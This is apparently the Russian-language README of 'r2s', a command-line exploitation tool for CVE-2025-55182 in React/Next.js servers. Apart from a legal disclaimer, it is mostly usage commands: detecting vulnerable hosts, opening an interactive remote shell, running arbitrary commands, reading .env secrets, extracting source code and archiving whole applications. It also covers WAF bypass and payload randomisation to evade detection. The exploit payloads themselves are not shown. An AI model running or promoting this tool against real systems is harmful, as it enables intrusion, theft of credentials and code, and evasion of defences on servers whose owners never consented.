---
---

## ⚠️ Правовое предупреждение

**ВАЖНО: ПРОЧТИТЕ ЭТО ПЕРЕД ИСПОЛЬЗОВАНИЕМ ИНСТРУМЕНТА**

1. **Этот инструмент предназначен ТОЛЬКО для ЛЕГИТИМНОГО тестирования безопасности**
   - ✅ Тестируйте свои собственные приложения
   - ✅ Тестируйте приложения, на тестирование которых у вас есть письменное разрешение
   - ✅ Образовательные цели и исследования в области безопасности
   - ❌ **НИКОГДА не используйте на системах, которыми вы не владеете или на тестирование которых у вас нет разрешения**
   - ❌ **НИКОГДА не используйте во вредоносных целях**

2. **Используя этот инструмент, вы соглашаетесь, что:**
   - Вы будете использовать его только на системах, которыми владеете или на тестирование которых имеете явное письменное разрешение
   - Вы понимаете, что несанкционированный доступ к компьютерным системам незаконен
   - Вы принимаете на себя полную ответственность за свои действия
   - Авторы не несут ответственности за любое неправомерное использование этого инструмента

3. **Правовые последствия:**
   - Несанкционированный доступ к компьютерным системам является преступлением в большинстве стран
   - Вы можете столкнуться с уголовным преследованием, штрафами и тюремным заключением
   - Всегда получайте письменное разрешение перед тестированием

4. **Этот инструмент предоставляется «КАК ЕСТЬ» без каких-либо гарантий**

**Если вам меньше 18 лет, обязательно обеспечьте надзор взрослых и получите разрешение перед использованием этого инструмента.**

---

## ✨ Возможности

### Ключевые возможности
- 🔍 **Обнаружение уязвимостей** - Быстрая проверка, уязвим ли сервер к CVE-2025-55182
- 💻 **Интерактивная оболочка** - Полноценная интерактивная сессия shell через HTTPS с историей команд
- 📁 **Операции с файлами** - Просмотр каталогов, чтение файлов, экспорт файлов/архивов
- 🔐 **Извлечение секретов** - Попытка чтения секретов приложений (файлы .env, конфигурационные файлы)
- 📄 **Извлечение кода** - Попытка чтения исходного кода приложения
- 🖥️ **Информация о системе** - Сбор информации об ОС, имени хоста, пользователе и переменных окружения

### Расширенные возможности
- 🚀 **Авто-подогрев полезных нагрузок** - Автоматическая оптимизация полезных нагрузок для наилучших результатов
- ⚡ **Параллельное выполнение** - Одновременный запуск нескольких команд
- 🎲 **Случайный выбор полезных нагрузок** - Уклонение от обнаружения с помощью динамических нагрузок
- 🛠️ **Модули эксплойтов** - Модульная система в стиле Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Обработка перенаправлений** - Автоматическое следование HTTP-перенаправлениям (301, 302, 303, 307, 308)
- 🎨 **Красивый интерфейс** - Цветной вывод для удобства чтения
- 📊 **Комплексная отчетность** - Автосохранение отчетов в форматах JSON, HTML, TXT с форматтерами для конкретных операций
- ⚙️ **Система конфигурации** - Конфигурация на основе JSON с интерактивной панелью настроек
- 📦 **Функция экспорта** - Экспорт отдельных файлов или целых каталогов приложений в виде zip-архивов
- 🔒 **Обход WAF** - Несколько методов обхода (⚠️ Не гарантируется — см. ограничения ниже)

### Отчетность и логирование
- 📝 **Автосохранение отчетов** - Автоматическое сохранение отчетов в `~/.r2s/reports/` с читаемыми метками времени
- 📋 **Форматы для конкретных операций** - Разные форматы отчетов для разных операций (shell, test, secrets и т.д.)
- 📜 **История команд** - Постоянная история команд, сохраняемая в `~/.r2s/history`
- 🔍 **Аудиторские следы** - Детальное логирование всех операций в `~/.r2s/logs/audit.log`
- 🎨 **HTML-отчеты** - Красивые HTML-отчеты с темной/светлой темой, кнопками копирования и блоками кода

---

## 📦 Установка

### Вариант 1: Сборка из исходников (рекомендуется)

1. **Клонируйте репозиторий:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 Быстрый старт

### Базовый тест на уязвимости```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### Тестирование локально

См. [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) инструкции по запуску уязвимого приложения локально.

---

## 📚 Примеры использования

### Краткая справка по командам

**Наиболее часто используемые команды:**
- `r2s -u URL -t` - Проверка на уязвимость (наиболее часто используется)
- `r2s -u URL --shell` - Запуск интерактивной оболочки
- `r2s --targets FILE -t` - Пакетное сканирование нескольких целей
- `r2s -u URL --system-info` - Получить информацию о системе
- `r2s -u URL --secrets` - Попытка чтения секретов
- `r2s -u URL --export-archive` - Экспорт всего приложения в zip

**⚠️ Помните**: Не используйте `--windows`, если цель не является Windows!

---

### Базовые операции```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### Эксплойт-модули```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### Секреты и извлечение кода```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### Расширенные параметры```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### Логирование и аудит```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### Отчетность```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. Аудит безопасности```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

Смотрите [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) для подробных инструкций.

---

## 🏗️ Архитектура

R2S использует модульную архитектуру для удобства поддержки и расширяемости:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "Ошибка подключения"

- Проверьте, запущен ли сервер
- Убедитесь, что URL указан правильно
- Проверьте настройки брандмауэра
- Попробуйте увеличить время ожидания: `--timeout 30`

### "Запрос заблокирован"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### Ограничения обхода WAF

**⚠️ Важно:** Методы обхода WAF в этом инструменте **НЕ ГАРАНТИРУЮТ** работу и имеют ряд ограничений:

- **Не универсально**: Разные WAF используют разные методы обнаружения. То, что работает для одного, может не работать для другого.
- **Статическое обнаружение**: Некоторые WAF используют сопоставление статических шаблонов, которое можно обойти, но современные WAF применяют поведенческий анализ.
- **Ограничение частоты запросов**: Многие WAF реализуют ограничение частоты, которое может блокировать повторные попытки.
- **Машинное обучение**: Продвинутые WAF используют модели машинного обучения, которые адаптируются и учатся на шаблонах атак.
- **Cloudflare / AWS WAF**: Корпоративные WAF (Cloudflare, AWS WAF и др.) чрезвычайно сложно обойти.
- **Без гарантий**: Методы обхода являются экспериментальными и могут не сработать против хорошо настроенных WAF.

**Рекомендации:**
- Используйте обход WAF только в крайнем случае
- Пробуйте разные стратегии заголовков (`--header-strategy`)
- Комбинируйте с `--randomize` для лучших результатов
- Понимайте, что некоторые цели может быть невозможно обойти
- Всегда тестируйте на системах, которыми вы владеете или на тестирование которых у вас есть разрешение

### Проблемы сборки```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

Это удалит:
- `build/` каталог (файлы сборки PyInstaller)
- `dist/` каталог (скомпилированные бинарные файлы)
- `__pycache__/` каталоги (кэш Python, рекурсивно)
- `*.pyc` файлы (скомпилированный байт-код Python)
- `*.pyo` файлы (оптимизированный байт-код Python)
- `*.spec` файлы (файлы спецификаций PyInstaller)

**Примечание:** Это удаляет только артефакты сборки, а не ваш исходный код. Очистка безопасна и запросит подтверждение перед выполнением.

---

## 📁 Структура файлов```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation